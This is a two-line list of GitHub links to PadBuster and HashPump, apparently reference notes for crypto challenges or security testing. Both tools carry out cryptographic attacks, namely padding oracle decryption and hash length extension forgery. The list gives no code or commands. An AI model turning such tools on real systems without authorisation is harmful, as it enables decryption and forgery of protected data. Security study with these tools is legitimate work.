- padbuster: https://github.com/AonCyberLabs/PadBuster
- hashpumpy: https://github.com/bwall/HashPump